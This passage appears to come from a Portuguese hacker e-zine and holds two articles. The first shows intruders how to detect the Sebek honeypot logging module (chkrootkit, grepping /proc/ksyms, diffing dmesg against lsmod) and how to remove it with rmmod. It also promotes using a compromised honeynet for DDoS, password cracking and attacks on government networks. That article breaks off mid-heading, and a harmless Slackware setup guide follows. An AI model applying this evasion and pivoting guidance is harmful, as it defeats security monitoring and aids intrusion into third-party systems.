logs em banco de dados podem ser usados para se fazer consultas futuras e
estatisticas em cima das maquinas honeypot.
Se for levar ao peh da letra o Sebek nao eh um honeypot, mas sim uma ferramenta
de auxilio na construcao de honeypots, tanto de Alta como de Baixa
Interatividade, ele eh caracterizado assim por que nao tem opcao de emular
nenhum servico ou vulnerabilidade falsas, mas este eh muito usado e concerteza
voce fucador pode ser deparar com muitos por aih. Vamos analisar agora como eh o
funcionamento do Sebek, assim poderemos criar situacoes praticas para
detectarmos sua presenca na maquina alvo.
*******************************
7.1 - Funcionamento do Sebek. *
*******************************
Bom, de comeco eh bom lembrarmos que o sistema operacional Linux eh dividido em:
User Space e Kernel Space, sendo assim sabemos que o User Space eh onde as
coisas sao limitadas e podem ser alteradas com uma certa facilidade, um exemplo
de User Space eh o shell (sh, bash) onde por meio dele se envia comandos para o
Kernel Space que eh como se fosse um mundo supremo onde pode-se tudo. Vejamos
agora no desenho abaixo uma apliacao do Sebek no Linux, dividimos em Kernel e
User Space:
http://www.skynet45.motdlabs.org/honeys/sebek_kernel.jpg
Se notarem bem, vao perceber que uma vez o atacente digitando um comando no
shell esse comando eh enviado ao system call read e assim executado pelo kernel,
daih com a instalacao do Sebek no alvo esse system call passa a ser interceptado
antes de repassar o comando para o kernel, o Sebek cria um novo system call
(new_read) e assim repasa o comando digitado a uma base de dados (data logger)
onde ele serah armazenado, depois disso o modulo do Sebek reenvia o comando ao
kernel jah para ser executado normalmente. Olhos perceptivos conseguem enchergar
que o Sebek trabalha com o kernel, fica quase inviavel executarmos um comando
sem ele nao capturar antes, poderiamos ateh escrever um programa que manda-se os
comandos direto pro kernel, mas daria muito trabalho, podemos ver isso numa
proxima oportunidades, ou alguem da comunidade poderia se expressar e fazer. O
Sebek funciona com modulos que sao carregados paralelos ao kernel, ele possui 2
modulos principais, o primeiro eh o Sebek em si, o outro tem por objetivo
esconder o primeiro modulo (sebek) das listagens de modulos (ex.: 'lsmod').
Vamos nos basear nessas caracteristicas para tentarmos detecta-lo na nossa
maquina alvo.
***************************************
7.2 - Metodos para deteccao do Sebek. *
***************************************
Todos os metodos sao indiscutivelmente simples, com facil utilizacao em sistemas
Linux. Para colocarmos em pratica o primeiro metodo vamos precisar de uma
ferramenta chamada 'chkrootkit' que eh de autoria de brasileiros, essa
ferramentas procura por alteracoes feitas no kernel (ex.: via lkm).
**************************
7.2.1. - chkrootkit (*). *
**************************
Jah vimos que o Sebek tem por caracteristica carregar alguns modulos quando eh
iniciado, esses modulos sao carregados no kernel do sistemas operacional. O
utilitario 'chkrootkit' tem por objetivo checar algumas caracteristicas de
ferramentas muito conhecidas que fazem mudancas no kernel, e assim detectalas.
Apos baixar e descompactar o 'chkrootkit', proceda assim: - Entre no diretorio
do chkrootkit - Execute o script:
# ./chkrootkit ... 'lkm'...Sebek LKM installed! ...
Se voce percebeu o chkrootkit fez varias checagens atras de alguma modificacao
no kernel, ao checar a entrada dos lkm's ele achou de cara o Sebek, duh! Mas
serah que eh tao facil assim? Bom pessoal, todo principio sao flores... - Em
alguns casos:
# ./chkrootkit ... 'lkm'...not detected ...
Infelizmente em algumas maquinas o script do chkrootkit nao nos retornou nada,
mas por que isso aconteceu? Bom depois de algumas horas ou ateh dias de
pesquisas, resolvi dar um jeitinho simples, observe e tente entender. De inicio
se lembre que o 'chkrootkit' eh um script, ele pode ser lido por nos na integra
( nao eh um byte-code) daih usamos um pouquinho da inteligencia que Deus nos
deu, assim:
# grep Sebek chkrootkit echo "Warning: Sebek LKM Installed!"
Bom com isso estamos tentando saber como o script do chkrootkit consegui
detectar o Sebek no primeiro caso, ao fazer uma busca dentro do chkrootkit pela
string 'Sebek', que era a String que ele nos retornou quando achou o lkm,
achamos a linha acima, agora se voce abrir o script do chkrootkit num editor de
texto da sua preferecia e procurar pela string 'Sebek' dentro do texto limpo
voce vai chagar nas linhas:
### sebek LKM (Adore based) [ -r /proc/ksyms ] && \ if `${egrep} -i sebek <
/proc/ksyms >/dev/null 2>&1`; then echo "Warning: Sebek LKM installed" fi
OPA! Tah aih, quando vi isso fiquei meio confuso, mas logo as coisas comecaram a
clarear, e daih pensei em arrumar a minha solucao, sempre a nossa solucao eh
mais facil e util. Note que nessa parte do script o chkrootkit apenas checa os
simbolos(chamemos de strings) que o kernel estah exportando e quandoa acha
alguma string semelhante a que ele procura ele denuncia logo, isso eh
relativamente MUITO simples, podemos fazer isso na mao mesmo, assim:
# grep sebek /proc/ksyms c7a53000 __insmod_teste_O/usr/ferramentas/sebek
linux- 2.1.7/teste.o_M40D837C0_V132118 [teste]
Bingo. Se lembramos da explanacao sobre as caracteristicas do sebek vamos
perceber que junto com seu modulo principal o administrador tambem levanta um
modulo pra esconder o modulo principal das listagens dos modulos, mas nesse caso
que acabamos de ver mesmo com esse modulo de ocultacao ativo nos conseguimos ver
o sebek dentro dos simbolos que o kernel estah exportando, isso eh meio confuso
nao posso discordar disso, mas um modulo com nome estranho dentro de um
diretorio chamado 'sebek-linux-2.1.7' nao pode ser um presente do papai noel
neh? Eh claro que o nosso amado 'sebek', de troca ainda ganhamos o nome do
modulo que eh o sebek eh carregado (teste.o). Mas voltando a nossa questao
principal, no segundo exemplo o chkrootkit nao conseguiu detectar o sebek pois
concerteza o administrador tem um pouco mais de conhecimento e mudou tambem o
nome do modulo para tentar enganar os hacker, mas como os hacker sempre estaona
frente deles...temos ainda outro metodo para detectarmos nosso amigo sebek.
***********************************
7.2.2. - Modulos no boot X lsmod. *
***********************************
Sabemos que todos os dispositivos de hardware no computador tem um modulo
especifico que eh carregado durante o boot da maquina para haver um
funcionamento correto dos dispositivos. Usualmente quando os administradores de
redes instalam o Sebek em um host, eles fazem com que o seu modulo principal
(sebek.o) e tambem o modulo que o esconde das listagens (cleaner.o) sejam ambos
carregados durante o boot, eles talvez jah facam isso pensando na possibilidade
de um hacker usar o metodo passado para se livrar do Sebek, mas mesmo assim
podemos 'arrancar' o Sebek do nosso caminho, esse metodo eh um pouco estranho
mais o que importa eh que tambem funciona. ;)
De inicio podemos logo pensar por um caminho bem intuitivo, se levantarmos o
modulo do sebek (sebek.o) e depois o cleaner (cleaner.o) nao poderemos ver o
modulo do sebek quando perguntarmos ao kernel por meio de um lsmod, isso por que
essa listagem de modulos eh encadeada, o cleaner engana o lsmod e faz com que
ele de um 'jump' ou um pulo para o proximo item da lista, ela eh uma lista que
segue uma sequencia (1,2,3,4...) por isso o cleaner consegue fazer isso. Com
base nisso podemos fazer uma compracao entre os modulos ativos e os modulos que
foram carregados na inicializacao, para isso podemos seguir assim:
root@rapadura:/etc/rc.d# dmesg >saida.txt
O comando dmesg mostra tudo que foi iniciado na maquina durante o ultimo boot,
com isso jah sabemos que o nosso amiguinho Sebek estah nessa lista, soh nao
sabemos quem ele eh, mas ele estah lah, daih mandamos o comando dmesg jogar a
saida dentro de um arquivo texto para facilitar nossa futura busca pelo modulo
do
Sebek. Continuamos assim...:
root@rapadura:/etc/rc.d# lsmod >saida1.txt
Agora tambem temos uma lista dos modulos atuais, os modulos que estao no kernel
nesse momento, daih jah sabemos que o Sebek NAO estah nessa segunda listagem,
pois o cleaner fez o favor de apagalo dessa listagem com lsmod, outra vez
mandamos o comando jogar a saida dentro de um arquivo texto para facilitar a
busca.
Comecemos nosso busca em si, jah temos duas listas para analise, mas por que
duas? Simples, se voce prestou atencao no que leu pode perceber que o Sebek
concerteza estah presente dentro da primeira e NAO estah na segunda lista, com
isso podemos chegar a um ponto em comum, façamos aqui uma representação das
duas listas:
DMESG LSMOD
1 1
2 2
3 3
4 4
5 5
6 7
7 8
8 9
9 10
10
Puxa, ateh meu sobrinho de 4 anos pode ver que essa lista tem algo de errado,
com olhos um pouco mais malicioso vemos que existe um modulo (n°5) que faz com
que o seu seguinte(n°6) nao seja mostrado pelo lsmod, nao seria muita
coincidencia? Que nada, eh ele mesmo, o proprio o modulo do Sebek que estavamos
procurando! Entao, agora voce tem duas possibilidades, primeiro: remover o
modulo do kernel(rmmod 5), ou melhorar as coisas..., procurar pelo arquivo do
modulo, chegar as suas configuracoes, ver se ele estah mandando os logs para
outra maquina e hackear essa maquina tambem, nao vou me aprofundar mais nisso
por que serai muita materia, poderemos deixar para uma proxima oportunidade. A
solucao mais pratica e viavel seria tirar o modulo do kernel, depois apagar a
entrada que o levanta a cada reboot, e assim reiniciar a maquina, quando ela
voltar vai estar limpinha, sem Sebek no seu, e assim voce pode partir para um
bom hacking!!!
************
8 - HoneyD *
************
No quesito construcao completa de honeypots a ferramenta HoneyD se destaca,
tanto pela sua grande facilidade de operacao, quanto pela utilidade nas vistas
dos administradores de honeynets para se criar maquinas e servicos falsos. Ao
contrario do Sebek, que soh guardava logs, o HoneyD tem a capacidade de criar
maquinas falsas dentro de uma faixa de IP nao usada e determinada pelo
administrador, por isso ele conta tambem com um sistema de log para captura de
logins e logs de comandos e do sistema.
***********************************
8.1 - Caracteristicasdo HoneyD. *
***********************************
Como todo e bom fucador devemos olhar as coisas de um jeito mais investigativo,
sempre se perguntar sobre possibilidades e por que as coisas funcionam de uma
determinada maneira. Todos nos sabemos que para se mandar comandos para o kernel
do linux eh necessario se ter uma shell, um interpretador de comandos, mas isso
como jah foi mostrado por muitos fucadores nao eh necessariamente valido,
comandos podem ser executados dentro de uma shell propria por assim dizer, no
lugar de usarmos o bash ou sh podemos criar um shellcode para mandar comandos
direto para o kernel, gostaria de frizar que por nao dominar tecnicas de
construcao dessas ferramentas vou apenas abrir um caminho para outros fucadores
dispostos a implementarpossam fazer pois isso eh muito util nas nossas
investidas. O HoneyD usa esse tipo de tecnica para capturar informacoes dadas a
maquina alvo, quando alguem (fucador) manda um comando para o alvo (honeypot) o
HoneyD se apodera do conteudo do comando quando ele passado para a shell, sendo
assim pode-se mandar os comandos com uma shell propria conforme falado acima.
Peco desculpas por nao pormenorizar essas questoes, mas ao saber disso voce pode
jah comecar a aumentar seu horizonte e
se aperceber de novas coisas. ;)
************************************
9 - Causas do uso de um Honeypot. *
************************************
Sabemos que tudo que colocamos as vistas da internet e de outras redes jah eh
por si soh inseguro, e tambem altamente exploitavel, os honeypots entao nao
fogem da regra, assim como todas as outras ferramentas de seguranca tem seus
'buracos', e tambem as causas para aqueles que os usam. Dentre as principais
causas estao: Altos Gastos e Impossibilidade de escondelo dentro da rede, vou
explicar melhor
e com detalhes.
************
9.1 - DMZ. *
************
DMZ = Zona Desmilitarizada, ou um lugar sem acesso ou perigo.
Percebi em muitas listas de discussao sobre honeynets que sempre eh abordado
esse ponto, "posso esconder o meu honeypot de minha rede interna?", segundos os
desenvolvedores das ferramentas podem sim, eles afirmam que conjuntos de regras
de firewalls e politicas de seguranca um pouco estranhas fazem com que o
honeypot nao seja visto de outras partes da rede corporativa, mas como isso eh
possivel? Novamente devemos olhar com olhos maliciosos a essas afirmacoes.
Existem N maneiras de se 'enchergar' uma maquina dentro de uma rede, uma vez um
host estando ligado ao HUB ou SWITCH ele eh visivel de uma maneira ou de outra,
ataques de cache poison e arp spoof podem se amplamente desenrolados para
solucionar esse problema :) , quando temos uma maquina ligada fisicamente dentro
de um SWITCH ele passa a se tornar tambem uma ramificacao do SWITCH, entao
novamente procure colocar sua mente pra rodar e pensar em enessimas maneiras de
se fazer isso.
*********************
9.2 - Altos Gastos. *
*********************
Impresas de Seguranca da Informacao na atualidade gastao MILHOES, senao BILHOES
em solucoes para melhorar a vida e a privacidade de seus clientes, e os clientes
por continuidade pagam precos exorbitantes pela seguranca da informacao tao
sonhada em nossos dias. Mas mesmo milhoes nao tem sido suficientes para trazer a
'solucao'. Imagine: Uma rede com 5 maquinas, 1 SWITCH, Link, manutencao,
suporte, instalacao e encargos, voce acha que manter isso sai barato? Outra
coisa, essa eh uma configuracao basica de uma honeynet de Alta Interatividade,
pior ainda, lembrando que essa honeynet soh recebe 30 acessos por semana, pois
eh, essa eh a situacao que os honeypots nos mostram, pessoas (adm. de redes)
gastam MUITO dinheiro com equipamento desncessarios, visto que estes como jah
foi mostrado durante todo o conteudo desse texto nao servem para aumentar a
seguranca de suas corporacoes. Serah que nao sairia mais barato o adm. de redes
estudar um pouco mais pra poder melhorar suas ideias de segurancas?
Hehehe Pensem nisso.
**************
10 - Perigos *
**************
Jah vimos que existem consequencias ao se implementar um honeypot, mas perigos
sao ainda piores! Veja.
*************************
10.1 - Comprometimento. *
*************************
Apos um honeypot ser comprometido ele pode ser usados para muitos fins, um
cracker com certeza usaria disso para se beneficiar, ele logo imaginaria uma
maneira de sair no lucro com esse comprometimento, isso poderia acarretar em
crimes reais como: se o honeypot fosse usado para hospedar pornografia infantil,
ataques a rede de bancos e redes do governo, analisemos esses ultimos com mais
detalhes. Suponhamos que um fucador acabe de conquistar um honeypot, isso depois
de bastente trabalho, mas ele conseguiu, daih ao ver uma nova porta a sua frente
ele parte para novos desafios , como um fucador ele quer se superar mais ainda,
daih ele parte para ataques mais sofisticados possivelmente a redes .gov ou .mil
(governo, militares), ao comecar suas investidas a essas redes ele nota que eh
possivel ganhar acesso a uma maquina X dentro da rede do governo de seu pais,
passado alguns dias ele consegue acesso e tem total poder dessa maquina X,
lembrando que o fucador partiu os ataques a maquina X de dentro do honeypot
comprometido por ele a alguns dias atras, passado mais alguns dias ele nao
consegue mais acessar a maquina X, ele se percebe que seu acesso nao-autorizado
foi descoberto e parado. Concerteza as autoridades do Governo Federal iram
entrar em comissao para apurar a origem do ataque a maquina X, ao terminar uma
serie de auditorias na maquina X os tecnicos do governo descobrem que o ataque
se originou de uma maquina Y (honeypot), BOMBA, daih o que voce que acontece no
fim da historinha? Exatamente quem se
lasca eh o administrador do honeypot.
Mas por que o administrador do Honeypots? Eh simples, como sempre diz meu grande
amigo NashLeon:"A Lei eh Dura mais eh Lei", analisemos um pedacinho da
constituicao Brasileira:
* Art. 186. Aquele que, por ação ou omissão voluntária, negligência ou
imprudência, violar direito e causar dano a outrem, ainda que
exclusivamente moral, comete ato ilícito.
* Art. 187. Também comete ato ilícito o titular de um direito que, ao
exercê-lo, excede manifestamente os limites impostos pelo seu fim
econômico ou social, pela boa-fé ou pelos bons costumes.
Se voce eh uma pessoa bem perceptiva, e concereteza eh, notou que se houver
neglicencia no administracao de um servico (digo internet) o responsavel por
algum dano causado por meio dele eh o responsavel, imaginem agora, o Dr.
Administrador do Honeypots que atualmente se acham muito bonitoes deixam seus
honeypost a margem de qualquer atacante, daih um amigo Hacker resolve
comprometer o mesmo, sendo assim se ele partir dalih qualquer ataque a redes
privadas (org, mil) quem leva o `fumo` eh o Dr. Bonitao ! Puxa quem sabe alguem
agora se convenca do perigo de usar essas coisas. Ah sim eh interessante o final
do Art. 187 que menciona 'boa-fe', pois eh isso quer dizer que se o Dr. Bonitao
deixar lah a honeynet a merce de tudo e todos ele estah achando que ninguem vai
fazer mal nenhum, que nao vao prejudicar ninguem,
mas mesmo assim ele eh punido caso ocorra algo ilicito alih. DUH!
Eu recomendo a leitura de um texto que se encontra na pagina do Escritorio Opice
Blum Advogados Associados, eh de leitura extremamente essencial! Parabens para o
Opice Blum (Escritorio em Geral).
A responsabilidade civil dos profissionais da informação - 07/10/2003
Autor: Roberto Leibholz Costa
http://www.opiceblum.com.br/
**********************
10.2 - Ataques Ddos. *
**********************
Esse eh um caso interessante e extramamente simples, como os passados. Ao
dominar toda uma honeynet o atacante pode muito bem como jah citado tomar
atitudes mais direcionadas, como penetrar em redes .gov & .mil, daih muitas
vezes esses ataques exigem esforcos mais especificos, nem sempre invadir uma
rede eh facil, ou quase nunca. Levantemos a possibilidade de o atacante quere
provocar um Denial Of Service em uma das maquinas da rede alvo, por exemplo ele
quer derrubar um servidor de dhcp para depois ao servidor retornar ele conseguir
um IP valido dentro da rede (mero exemplo). Daih para facilitar sua vida ele
lembra que ele tem nao soh 1 maquina para realizar este ataque, mais VARIAS, ele
a dias atras ou horas, dominou todo uma honeynet, daih com o poder das maquinas
da honeynet ele pode fazer o que quiser, uma das possibilidades eh incrementar
seu ataque e partir para um Ddos (distribuid denial of service) assim ele terah
muito mais chance de seu ataque ser bem sucedido, pois ele tem VARIAS maquinas,
nao soh 1.
O atacante pode usar varias ferramentas publicas disponiveis para esse tipo de
ataque (trinoo) assim basta ele instalar essas ferramentas na honeynet, que
serah sua rede escrava, e pronto dirigir o ataque para seu alvo especifico !
Assim dentro de pouco tempo seu ataque serah concerteza muito bem sucedido. E
com uma forcinha da honeynet, afinal ela estah se tornando amiga do hacker!
Um exemplo do ataque pode ser visto em:
http://www.skynet45.motdlabs.org/honeys/ddos.jpg
***********************************
10.3 - Fornecimento de recursos. *
***********************************
Apos termos levantado N possibilidades para colocarmos os honeypots a nosso
favor e tambem de tira-los do nosso caminho ficou ainda um ponto muito peculiar
e interessante. Depois de refletir um pouco mais sobre a possibilidade do Ddos
eu tambem percebi que podemos usar a honeynet para quebrar senhas, usando o
djohn-the-ripper (metodo distribuido), mas nao entrarei em detalhes quanto a
isso, voce mesmo pode criar possiblidades tanto quanto ao Ddos quanto a quebra
de senhas, mas o que me incentica a comentar eh a grande sacada da jogada. Tanto
no momento que o Ddos estah sendo executado, quanto na quebra de senhas o
atacantes estah usando RECURSOS da honeynet, recursos tais como: tempo, energia,
link, processamento e etc. Assim dah vontade ateh de rir nao acham? O Dr.
Bonitao (adm. da honeynet) que se acha muito esperto e quer aprender com os
hacker acaba de fornecer todos os recursos necessarios para realizarmos ataques
das mais infinitas possibilidades, lembrando que quando menciono recursos eu
quero dizer GRANA, dinheiro, dunfunfa, ticket, cash, especime. Sendo assim eles
soh perdendo, e continuo dizendo eles estao nos
tornando nossos amigos. (quem sabe!)
*************************
11 - Aspectos Juridicos *
*************************
Voltemos um pouco para a parte judicial, somente mais algumas comparacoes e
analises internacionais da coisa.
**************************************
11.1 - Constituicoes fora do Brasil. *
**************************************
Eh interessante que ferramentas semelhantes, senao tambem os honeypots podem ser
incluidos, em muito paises tem seu uso bem restriro e limitado, muitos paises
nao permitem o uso legal de honeypots uma vez que os mesmo sao usados para
capturar dados de terceiros sem permissao verbal ou escrita da pessoa. Isso nao
ocorre caso a presenca das ferramentas de log seja indicada loga no inicio da
`conversacao` entre as maquinas, pode ser feito por meio de banner e mensagens
visuais, que concerteza irao chamar atencao de
quem as ler.
Entre os paises que nao permitem essas ferramentas estao: Reino Unido,
Australia, Canada, EUA, Uniao Europeia. Os links para as constituicoes de leis
dos paises estao abaixo:
http://www.skynet45.motdlabs.org/honeys/Canada-6_4.pdf
http://www.skynet45.motdlabs.org/honeys/Uniao_Europei_data_legals.doc
http://www.skynet45.motdlabs.org/honeys/honeys_legal_UK.doc
http://www.skynet45.motdlabs.org/honeys/legals_data_EUA_CANADA_AUSTRALIA_UK.doc
Por favor, leiam e tirem suas proprias conclusoes.
******************************
11.3 - Logs Contraversivos. *
******************************
Este aspecto foi me chamado atencao por alguns amigos, eh bem interessante a
forma de olharmos para essa aba do conceito dos honeypots. Bom, facam uma
forcinha e depois fechem os olhos e imaginem: "Um Honeynet toda preparada para
logar todas as acoes suspeitas nas suas maquina e prontamente gerar logs
inteligiveis ao ser humano, mas derepente um novo worm (ou velho mesmo) entra na
rede, isso eh mais comum que nos pensamos, daih ele comeca a gerar trafego
dentro da honeynet, muito trafego por sinal, e daih comecam os registros de logs
por parte das ferramentas do honeypot, comeca assim: 100 linhas, 1000 linhas,
10000 linhas, 100000 linhas, 1000000 linhas, 100000, 1000000, 10000000, e assim
vai...Agora nao existe ser humano capaz de analisar 1000000000 de linhas de um
log, ou seja o log se torna inutil!
Vejamos por outro lado ainda, ao analisar pessoalmente um log de um honeypot
mantido por um brasileiro e que por sinal faz muito sucesso com suas
apresentacoes da mesma ferramenta brasil a fora, eu pude perceber que eh meio
esquizito mesmo, em 1 mes ele tem 3 registros de tentativas de conexao no http,
sux! Ou seja, serah que em 1 ano ele pega umas 4 tentivas de defacers num http?
hehehehe, eh pra rir mesmo.
Mas ter um sistema em que nem scriptkiddie tah caindo mais eh de morrer. Nao
serve para nada.
***************************
11.4 - Inducao ao ataque
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[06]-=[Slackware sem medo]-=|_tzlord_|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
///////////////////////////////////////////////////////////////////////////////
//////////////////////// Linux - Slackware sem medo ///////////////////////////
///////////////////////////////////////////////////////////////////////////////
-------------------------------------------------------------------------------
INTRODUÇÃO:
-------------------------------------------------------------------------------
Este artigo tem por objetivo compartilhar com os leitores newbies dúvidas e
soluções para pequenos problemas enfrentados durante o uso do Linux/Slackware.
Se você procura encontrar grandes soluções para seus problemas, esqueça este
artigo pois só irá encontrar pequenas dicas a respeito do uso do Slackware e
algumas configurações bem básicas, porém úteis. Boa leitura. :)
Quantas vezes você ja ouviu falar: "O Slackware é o mais fodão de
instalar,configurar e usar" ? Sem dúvida alguma, você ja ouviu milhões de vezes.
Mas não é bem por aí... Há pouco tempo passei por isto também e agora estou aqui
para provar que não é bem assim que funciona as coisas e após instalar e usar
essa incrível distribuição acabei tirando minhas próprias conclusões sobre o que
falam por aí. Não tem segredo, o que você tem quer ter em mente é: Você não está
usando Windows, ou seja, é tudo bem diferente (e com certeza melhor). Não é tão
complicado o quanto parece nem o quanto falam, por isso selecionei algumas
dúvidas e problemas que passei durante essa "migração" para o Slackware (9.1)
para poder compartilhar com vocês leitores newbies ou medrosos como eu que tive
medo de instalar o Slackware e garanto que não me arrependi nenhum pouco após
ter instalado.
-------------------------------------------------------------------------------
INICIANDO:
-------------------------------------------------------------------------------
Você deve ter uma partição ReiserFS, EXT3 ou EXT2 para poder instalar o seu
Linux/Slackware. (Recomendo ReiserFS). Você pode criar uma partição EXT3, por
exemplo, muito facilmente usando uma ferramente chamada "Partition Magic". No
meu ponto de vista, está é a ferramenta mais indicada para iniciantes pois é
bastante facil de usar e criar a sua partição sem problemas.
-Ta, criei a minha partição! E agora?
Bem, agora que você ja tem a sua partição criada você deve reiniciar o
computador e entrar na sua BIOS (normalmente apertando a tecla DEL enquanto o PC
estiver sendo iniciado) e modificar a opção de BOOT para CDROM como primária.
Insira o seu CD do drive e espere carregar o instalador :)
Como disse anteriormente, a instalação é bastante intuitiva e meu objetivo
aqui não é o aprofundamento na instalação, até porque vocês podem encontrar
diversos manuais pela internet muito bons e completos para se guiar durante o
processo de instalação. Este artigo serve apenas para um apoio para você
aprender a resolver pequenos problemas. ;)
-------------------------------------------------------------------------------
FUÇANDO:
-------------------------------------------------------------------------------
Você instalou os pacotes que queria, escolheu o seu gerenciador de janelas
padrão, escolheu a senha do root e outras coisas mais.
DICAS:
xf86cfg -textmode =====> comando para configurar mouse, teclado, monitor,
placa de video,etc. (recomendado)
xfree86setup =====> identifica placa de video e outros periféricos
automaticamente.
startx =====> inicia o X (ambiente gráfico)
xwmconfig =====> caso queira alterar o gerenciador de janelas mais
tarde.
Caso ocorra algum problema na hora de iniciar o X, provavelmente sua
configuração de video está incorreta. Altere até encontrar a solução correta. :)
Finalmente você está dentro do X, provavelmente no KDE. E agora, o que fazer?
No meu caso como tenho acesso a Banda Larga, a primeira coisa que fiz foi
aprender a instalar/configurar meu modem ADSL US Robotics 9001. Demorei um bom
tempo para aprender mas é bem simples. A seguir estão os passos que usei para
configurar o meu modem:
-----[Adsl no Linux/Slackware]-------------------------------------------------
O adsl-setup é usado para configurar a sua conexão adsl. Execute-o
(como usuario root).
* Na 1ª opção ele pede o seu UserName. Ta esperando o que? Coloca ali. :)
* Em seguida ele pergunta em qual interface de rede está instalado o seu modem
adsl, no meu caso está na eth0.
* Na próxima opção, coloque "no" (é a opção default).
* Depois ele pede o DNS. Na 1ª vez que eu tentei configurar eu estava colocando
o DNS do meu provedor BRTURBO mas estava dando problemas, então para evitar
isto coloque "server" (sem aspas). Isso faz com que o DNS seja buscado
automaticamente.
* Será solicitada a senha. Coloque.
* O próximo passo é o firewall. Eu uso a opção 1 (STANDALONE) mas caso tenha
problemas use a opção 0 (NONE).
Aperte "y" para confirmar as configurações setadas.
*Pronto. Digite adsl-start e é só curtir a internet! ;)
Você deve estar pensando: "pootz, cada vez q eu iniciar o meu Slack vou ter
que digitar "adsl-start" para usar a internet". Claro que não. Para isso coloque
o comando "adsl-start" (sem aspas) dentro do /etc/rc.d/rc.local . Use um editor
de textos, o emacs por exemplo. (deve estar como root)
emacs /etc/rc.d/rc.local
Insira o "adsl-start" ali dentro e pronto! Não precisará mais digitar adsl
-start toda hora que iniciar o seu Slack e você quiser acessar a internet.
Agora que você ja está com seu Slack e sua internet funcionando direitinho,
você com certeza deve estar querendo escutar música, usar a impressora para
fazer seus trabalhos da escola, acessar seus arquivos da sua partição do
windows, falar com seus amigos no IRC,... Bem, vamos por partes:
-------------------------------------------------------------------------------
-----[Áudio]-------------------------------------------------------------------
No meu caso, não tive nenhum problema com o áudio. Apenas executei o
"alsaconf" (utilitario de configuração de áudio) e em seguida o "alsamixer"
(utilitario para ajustes de volumes) e estava pronto para ouvir minhas músicas
no Xmms (utilitario com a mesma função do Winamp).
-------------------------------------------------------------------------------
-----[Instalando/Configurando a sua impressora - CUPS]-------------------------
Instalei a minha impressora (Epson Stylus C43SX) a pouco tempo usando o CUPS,
não tive problemas e acredito que vocês também não terão. Se você não tem o CUPS
instalado, trate de instalar. Você pode usar alguma ferramaneta de atualização,
exitem várias... o swaret, o slackpkg, o slapt-get... Usaremos o Swaret!
Após você instalar o Swaret, recomendo que leia este artigo para você aprender
os comandos principais e como tudo funciona.
http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=573&pagina=4
Agora que você ja sabe os principais comandos, atualize a lista de pacotes mas
caso tenha ficado com preguiça de ler o link acima aí vai: "swaret --update"
Para confirmar se o CUPS está instalado você pode usar o comando "swaret -
-search cups" que além de ser usado para procurar um pacote, também te mostra se
ele ja está instalado. :)
Para instalar: "swaret --install cups" ou "swaret --upgrade cups" para
atualizar caso você ja o tenha instalado. Pronto, CUPS instalado.
Agora você precisa instalar também um pacote auxiliar chamado "gimp-print"
Então: "swaret --install gimp-print"
Instale o "ghostscript" do CUPS: "swaret --install espgs"
Agora bastar ir ao "Control Center" (se estiver usando o KDE) clicke em
"Peripherals" no menu à esquerda e em seguida "Printers". Certifique-se se está
selecionado "CUPS (Common UNIX Print System)" onde diz "Print system currently
used"
Você deve rodar o daemon do CUPS para que você possa iniciar a configuração.
Para isso, digite no konsole "cupsd" (como root).
Agora que já estamos com tudo instalado e o daemon rodando, vá no seu browser
e digite: http://localhost:631 para abrir as configurações do CUPS. Vá em
"Manage Printers" e em seguida, "Add Printer" (será solicitado sua senha de
usuario root). Ali você coloca um nome para a impressora ("Epson" por exemplo),
em Location coloque /dev/lp0 e em seguida apete no botão "Continue".
Em "Device", selecione Parallel Port #1 "Marca da sua impressora". Aperte
"Continue"
Selecione a marca da sua impressora e aperte "Continue" novamente.
Para finalizar, selecione o driver, exemplo: "Modelo da sua impressora"
- CUPS+Gimp - Print e dê "Continue" Pronto! Agora basta você ir em algum editor
de texto e imprimir algo para testar!
DICA: Eu tive um pequeno probleminha ao imprimir, pois a minha impressora
estava usando muita tinta na folha, a folha estava pesada e muito úmida de tanta
tinta! hehehehe. Para diminuir a quantidade de tinta na impressão (ou
aumentar... a não ser que você seje louco) vá nas configurações do CUPS:
http://localhost:631 , "Configure Printer" e onde diz "Resolution" sugiro que
selecione a opção "360x240 DPI Draft" para que você não gaste tanta tinta. ;)
Não esqueça que sempre que quiser usar a impressora deve rodar o daemon dela, o
"cupsd", a não ser que você queira colocá-lo no /etc/rc.d/rc.local .
Esta é uma configuração básica, para maiores informações procure algum manual
mais detalhado! ;)
-------------------------------------------------------------------------------
-----[Acessando arquivos da partição Windows com usuário comum]----------------
Depois de um tempo usando o seu SlacK, você provavelmente sentirá a
necessidade de utilizar seus arquivos da sua partição do Windows. É um porre
cada vez que você quiser acessar seus arquivos ter que acessar com o usuario
root. Para acessar sua partição do Windows com o usuario comum você deve editar
o /etc/fstab e colocar a seguinte linha abaixo:
/dev/hda1 /mnt/windows vfat gid=100,umask=002,users 0 0
OBS: Neste exemplo, a hda1 foi considerada como a partição do Windows, se a
sua partição do windows está na hda2 por exemplo, substitua. Antes disso você
deverá criar o diretorio "windows" (ou outro nome que desejar) usando "mkdir
windows".
-------------------------------------------------------------------------------
-----[Problemas com acentuação no Xchat]---------------------------------------
Existem diversos clientes de IRC para Linux. No Slackware a princípio, você
pode usar o Xchat, o BitchX ou o KSirc. O Xchat tem uma aparência digamos que
mais "bonita" e intuitiva. É bem provável que seu primeiro contato com o IRC
seja por ele. Pois bem, muitos usuários tem problemas com a acentuação no XChat.
Eu também tive. É totalmente simples e banal a forma de resolver isto:
Abra o Xchat. Será mostrada a "Lista de Servidores", caso não abra aperte
Ctrl+S Na opção "Caracteres:" (provavelmente está System Default), então mude
para "ISO-8859-1 (Western Europe)". Caso não funcione essa opção, tente UTF-8 ou
alguma outra. Mas no meu caso, eu uso ISO-8859-1 (Western Europe) e funciona
corretamente.
-------------------------------------------------------------------------------
-----[Corrigindo acentuação no OpenOffice]-------------------------------------
O OpenOffice na minha opinião é o melhor aplicativo para escritório no mundo do
Software Livre. Recomendo que façam o download dele em www.openoffice.org.br e
instale. Após a instalação do OpenOffice você perceberá que sua acentuação não
estará funcionando corretamente. Para arrumar isto, você deve editar o seu
/etc/profile e adicionar as seguintes linhas abaixo:
export LC_ALL=pt_BR
export LANG=pt_BR
Salve e faça logout e login novamente que sua acentuação irá funcionar
corretamente.
-------------------------------------------------------------------------------
